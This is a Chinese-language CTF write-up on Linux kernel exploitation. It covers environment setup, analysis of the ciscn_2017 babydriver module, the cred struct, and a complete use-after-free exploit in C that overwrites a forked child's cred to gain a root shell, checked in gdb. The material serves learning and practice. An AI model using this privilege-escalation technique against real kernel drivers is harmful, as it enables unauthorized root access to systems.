初探内核(一)
初探内核
学习过程主要参考的是这位师傅的博客,感谢这位师傅;前三题的题目链接
环境搭建
- ubuntu20
需提前开启虚拟化功能
- gdb 我用到是 pwndgb
- qemu
sudo apt install qemu-kvm
- ropper 搜索 gadget 比 ROPgadget 快
- vmlinux_to_elf 脚本,感谢的 peiwithhao 师傅的帮助
- un-cpio
#!/bin/bash me=${0##*/} if [ $# -ne 1 ] then echo "Usage: $me <rootfs-cpio>" >&2 echo "Notice: please use this script in a empty dir where the file system will be decompressed" >&2 exit 2 fi wholepath="`pwd`/$1" path=$(dirname $wholepath) file=$(basename $wholepath) cd $path mv $file "${file}.gz" gunzip "${file}.gz" cpio -idm < $file rm $file
- gen-cpio 压缩镜像脚本
#!/bin/bash me=${0##*/} if [ $# -ne 1 ] then echo "Usage: $me <output-cpio>" >&2 exit 2 fi find . -print0 |cpio --null -o --format=newc |gzip -9 > $1 mv $1 ../
kernel uaf
kernel uaf 以 ciscn_2017-babydriver 为例
打开后删除其它不需要的文件,剩下以下三个
boot.sh 是用来启动 qemu 的
rootfs.cpio 是 文件系统映像
bzImage 是压缩的内核映像
先修改 boot.sh ,增加 -s 参数,方便调试
接着利用 un-cpio 脚本来解压 rootfs.cpio
先对 init 进行分析
将 flag 修改成非 root 不可读,然后利用 insmod 挂载 babydrive.ko 模块
程序分析
将 babydirver.ko 放入 IDA 分析
最后两个函数是驱动的初始化函数和退出自动调用的函数,其它是可调用函数
babydrive_init
bdbydrive_exit
babyopen
申请一块 0x40 大小的内存,指针放入 babydev_struct 结构体
babyread
同理 babywrite将数据从用户空间传送到内核空间
babyioctl
实现了更改申请内存的大小
首先在 core 目录下创建一个 test.c
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <sys/wait.h> #include <unistd.h> int main(){ int fd = open("/dev/babydev", 2); char a[8] = "hello"; write(fd, a, 5); close(fd); }
然后静态编译
gcc test.c -static -o test
调试前我们要先获得模块具体的加载地址
修改 init 文件中的权限,令我们的登录权限为 root
然后将当前 core 目录下的所有文件打包成 rootfs.cpio
执行 boot.sh ,启动 qemu
cat sys/module/babydriver/sections/.text
查看模块具体的加载地址
退出后执行
gdb bzImage
调用 gdb 后,添加驱动的符号信息
add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
然后将其断点打到 babywrite
接着输入
target remote:1234
来远程调试,并令其一个终端运行 boot.sh
接着在 gdb 调试界面按 c 就会跑到命令运行界面
接着运行 test ,就会跑到断点了
我这里失败了几次,查看断点发现断点有问题?再打下断点就可以了
从寄存器中可以看到 write 函数所用的信息
cred 结构体
如果要提权的话,我们需要先了解 cred 结构体,对于 Linux 下的每一个进程,在 kernel 中都有着一个结构体 cred 用以标识其权限,该结构体定义于内核源码,有一点要注意,每个linux内核版本对应的cred大小都不一样
内核中主要有三个用户:uid(实际用户)、euid(有效用户)、suid(保存用户),可通过setuid、seteuid、setreuid系统调用实现用户切换
struct cred { atomic_t usage; atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; kuid_t uid; /* 实际用户id */ kgid_t gid; /* 实际用户组id */ kuid_t suid; /* 保存的用户uid */ kgid_t sgid; /* 保存的用户组gid */ kuid_t euid; /* 真正有效的用户id */ kgid_t egid; /* 真正有效的用户组id */ kuid_t fsuid; kgid_t fsgid; unsigned securebits; /* 安全管理标识;用来控制凭证的操作与继承 */ kernel_cap_t cap_inheritable; /* execve时可以继承的权限 */ kernel_cap_t cap_permitted; /* 可以(通过capset)赋予cap_effective的权限 */ kernel_cap_t cap_effective; /* 进程实际使用的权限 */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ //。。。。。。 }; } __randomize_layout;
那么我们在内核创建一个新的进程时,改变进程的 cred 结构体的 uid 和 gid 都为 0 也就完成了提权
exp 编写
那么对于这道题,我们可以先 open 两次,修改 fd1 的内存大小与 cred 结构体相同,然后在 close(fd1) 即 free,再 foke 一个子进程,该子进程就会利用先前 free 的内存来存放 cred 结构体,而此时的 fd2 也刚好指向 cred 结构体,通过 fd2 来修改 cred 结构体的 uid 和 gid 数据,就能够实施提权攻击。
exp
#include <fcntl.h> #include <sys/ioctl.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> int main(){ int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); ioctl(fd1, 0x10001, 0xa8); close(fd1); if(!fork()){ char mem[28]; memset(mem, '\x00', sizeof(mem)); write(fd2, mem, sizeof(mem)); puts("[+]root---"); system("/bin/sh"); }else{ wait(NULL); } close(fd2); }
静态编译为 exp 二进制可执行文件
接下来为了验证是否能成功攻击,我们在 core 下创建一个 flag 文件,然后修改回 init 的登录权限为 1000
同样编译后,将 core 打包成 rootfs.cpio
启动 boot.sh ,执行 exp
可以看到成功攻击,至此完成第一道内核 pwn 题目
动态调试
接下来利用动态调试加深理解
将断点打到 babyrelease
对照 IDA
可以知道 call 0xffffffff811eafc0 是调用了 kfree,记录下此时寄存器的值
再将断点打到 babywrite
通过对照 IDA 的代码,可以此时即将执行 _copy_from_user ,将数据从用户空间写到内核空间,并且通过与调用 kfree 函数的那个图对比,可以看到 rdi 寄存器的值是一样的,不同的是调用 _copy_from_user 时候的 rdi 指向 cred 结构体
0x3e8 刚好是 1000 ,也就是我们普通权限的 uid = 1000
我们接着按 n 步进
cred 结构体被改写,uid 和 gid 都被修改为 0 ,成功攻击。